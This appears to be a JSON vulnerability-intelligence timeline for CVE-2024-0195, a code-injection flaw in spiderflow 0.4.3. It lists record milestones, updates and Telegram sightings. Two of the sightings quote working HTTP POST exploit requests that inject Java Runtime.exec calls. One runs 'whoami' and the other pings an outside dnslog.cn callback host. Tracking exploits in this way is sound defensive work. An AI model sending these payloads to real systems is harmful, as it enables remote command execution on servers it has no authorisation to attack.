{"metadata": {"vulnerability": "cve-2024-0195", "count": 33, "kinds": {"milestone": 5, "sighting": 14, "kev": 0, "other": 14}}, "data": [{"timestamp": "2024-01-02T00:00:00Z", "date_only": false, "value": "2024-01-02T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "cve-2024-0195", "field": "containers.cna.timeline.0.time"}, {"timestamp": "2024-01-02T01:00:00Z", "date_only": false, "value": "2024-01-02T01:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "cve-2024-0195", "field": "containers.cna.timeline.2.time"}, {"timestamp": "2024-01-02T11:11:09.341Z", "date_only": false, "value": "2024-01-02T11:11:09.341Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-0195", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-01-02T21:00:05.440Z", "date_only": false, "value": "2024-01-02T21:00:05.440Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-0195", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-01-02T21:15:10Z", "date_only": false, "value": "2024-01-02T21:15:10Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-M6PC-42RJ-WC4V", "record": "GHSA-M6PC-42RJ-WC4V", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-01-02T21:15:10.003Z", "date_only": false, "value": "2024-01-02T21:15:10.003", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-0195", "record": "FKIE_CVE-2024-0195", "field": "published"}, {"timestamp": "2024-01-02T21:15:10.003Z", "date_only": false, "value": "2024-01-02T21:15:10.003", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2024-0195", "record": "GSD-2024-0195", "field": "namespaces.nvd.nist.gov.cve.published"}, {"timestamp": "2024-01-02T21:30:26Z", "date_only": false, "value": "2024-01-02T21:30:26Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-M6PC-42RJ-WC4V", "record": "GHSA-M6PC-42RJ-WC4V", "field": "published"}, {"timestamp": "2024-01-02T21:30:26Z", "date_only": false, "value": "2024-01-02T21:30:26Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-M6PC-42RJ-WC4V", "record": "GHSA-M6PC-42RJ-WC4V", "field": "modified"}, {"timestamp": "2024-01-02T22:26:52Z", "date_only": false, "value": "2024-01-02T22:26:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/162056", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "9769123e-728e-401d-ad11-b92befff5b6e", "content": "https://ift.tt/xaj4rfN\nCVE-2024-0195", "url": "https://t.me/ctinow/162056"}, {"timestamp": "2024-01-03T01:37:23Z", "date_only": false, "value": "2024-01-03T01:37:23.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/74202", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "646058b4-6247-4783-b42a-7171abd5c3ca", "content": "\u203c\ufe0fCVE-2024-0195\u203c\ufe0f\n\nA vulnerability, which was classified as critical, was found in spiderflow 0.4.3. Affected is the function FunctionService.saveFunction of the file srcmainjavaorgspiderflowcontrollerFunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB249510 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "url": "https://t.me/cibsecurity/74202"}, {"timestamp": "2024-01-03T06:02:06.730Z", "date_only": false, "value": "2024-01-03T06:02:06.730010Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-0195", "record": "GSD-2024-0195", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-01-08T20:22:57.428Z", "date_only": false, "value": "2024-01-08T20:22:57.428593Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-0195", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-01-08T20:22:57.428Z", "date_only": false, "value": "2024-01-08T20:22:57.428593Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-0195", "record": "FKIE_CVE-2024-0195", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-01-09T08:16:07Z", "date_only": false, "value": "2024-01-09T08:16:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/164842", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "4fbd4f5e-c17e-4f50-b846-5eecff1ac145", "content": "https://ift.tt/zunW3Vx\nCVE-2024-0195 Exploit", "url": "https://t.me/ctinow/164842"}, {"timestamp": "2024-01-10T09:39:51Z", "date_only": false, "value": "2024-01-10T09:39:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/1821", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "78c1275f-80da-4411-8ba9-2e55df0c87c4", "content": "cve-2024-0195\n\nPOST /function/save HTTP/1.1\nHost: your-ip\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept: */*\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\n\nid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('whoami')%3B%7B\n\n#poc  #exploit", "url": "https://t.me/CNArsenal/1821"}, {"timestamp": "2024-01-22T18:49:11Z", "date_only": false, "value": "2024-01-22T18:49:11.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "cve-2024-0195", "field": "containers.cna.timeline.3.time"}, {"timestamp": "2024-01-22T19:11:04Z", "date_only": false, "value": "2024-01-22T19:11:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/171359", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "8c67e884-66ad-4fa7-9610-3c5ae3002a77", "content": "https://ift.tt/Y1p6zLw\nCVE-2024-0195 | spider-flow 0.4.3 FunctionController.java FunctionService.saveFunction code injection", "url": "https://t.me/ctinow/171359"}, {"timestamp": "2024-02-09T19:05:08.567Z", "date_only": false, "value": "2024-02-09T19:05:08.567Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulDB", "record": "cve-2024-0195", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-04-11T01:23:44.720Z", "date_only": false, "value": "2024-04-11T01:23:44.720", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-0195", "record": "GSD-2024-0195", "field": "namespaces.nvd.nist.gov.cve.lastModified"}, {"timestamp": "2024-08-01T17:41:16.312Z", "date_only": false, "value": "2024-08-01T17:41:16.312Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2024-0195", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-31T07:39:53Z", "date_only": false, "value": "2024-08-31T07:39:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8423", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "3edf5a23-0af6-482e-808d-b0154076fa9a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-0195 Improper Control of Generation of Code ('Code Injection')\nURL\uff1ahttps://github.com/fa-rrel/CVE-2024-0195-SpiderFlow\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8423"}, {"timestamp": "2024-08-31T11:11:03Z", "date_only": false, "value": "2024-08-31T11:11:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3091", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "cbec503e-01b9-4ea0-8978-3a3d0d6980d9", "content": "#exploit #poc", "url": "https://t.me/CNArsenal/3091"}, {"timestamp": "2024-08-31T14:58:47Z", "date_only": false, "value": "2024-08-31T14:58:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerArsenal/240", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "898e3f8d-f43d-4d2c-b84a-5c1a55d69d8a", "content": "#exploit #poc", "url": "https://t.me/HackerArsenal/240"}, {"timestamp": "2024-09-01T16:43:36Z", "date_only": false, "value": "2024-09-01T16:43:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1887", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "da56b5b1-121d-4032-8abf-60f00775658e", "content": "CVE-2024-0195 Exploit\n\nPOST /function/save HTTP/1.1\nHost: 192.168.116.128:8080\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nContent-Length: 139\n\nid=&name=test&parameter=test&script=return+java.lang.%2F****%2FRuntime%7D%3Br%3Dtest()%3Br.getRuntime().exec('ping+18k2tu.dnslog.cn')%3B%7B\n\n#exploit #poc", "url": "https://t.me/realLulzSec/1887"}, {"timestamp": "2025-06-17T20:29:06.748Z", "date_only": false, "value": "2025-06-17T20:29:06.748Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-0195", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-06-17T20:29:06.748Z", "date_only": false, "value": "2025-06-17T20:29:06.748Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-0195", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T06:52:58.750Z", "date_only": false, "value": "2026-06-17T06:52:58.750", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-0195", "record": "FKIE_CVE-2024-0195", "field": "lastModified"}, {"timestamp": "2026-09-01T20:00:30.215Z", "date_only": false, "value": "2026-09-01T20:00:30.215441Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/144156", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "09afb25b-e3da-44c6-92b8-7b51d42f9954", "url": "https://t.me/hacking_Attack/144156"}, {"timestamp": "2026-09-01T20:00:30.257Z", "date_only": false, "value": "2026-09-01T20:00:30.257623Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/144158", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "1a342d63-2a81-41e8-95ab-fb56b83f7cc6", "url": "https://t.me/hacking_Attack/144158"}, {"timestamp": "2026-09-03T16:00:05.527Z", "date_only": false, "value": "2026-09-03T16:00:05.527058Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/144158", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "15d9b1f0-23ef-4a01-a5ea-5d50f1b5c81c", "url": "https://t.me/hacking_Attack/144158"}, {"timestamp": "2026-09-03T16:00:05.566Z", "date_only": false, "value": "2026-09-03T16:00:05.566434Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/144156", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "04237fba-d184-4fd0-8d8d-fd336c10430b", "url": "https://t.me/hacking_Attack/144156"}, {"timestamp": "2026-10-05T19:00:21Z", "date_only": false, "value": "2026-10-05T19:00:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Vr7K5wUWuvqdS1L8sKYBanK8StLUl8DaROwdGOQAfROVtys", "record": "CVE-2024-0195", "field": "creation_timestamp", "uuid": "8ef19e9f-40bf-4f66-8cb1-9cc4b5fc8875"}]}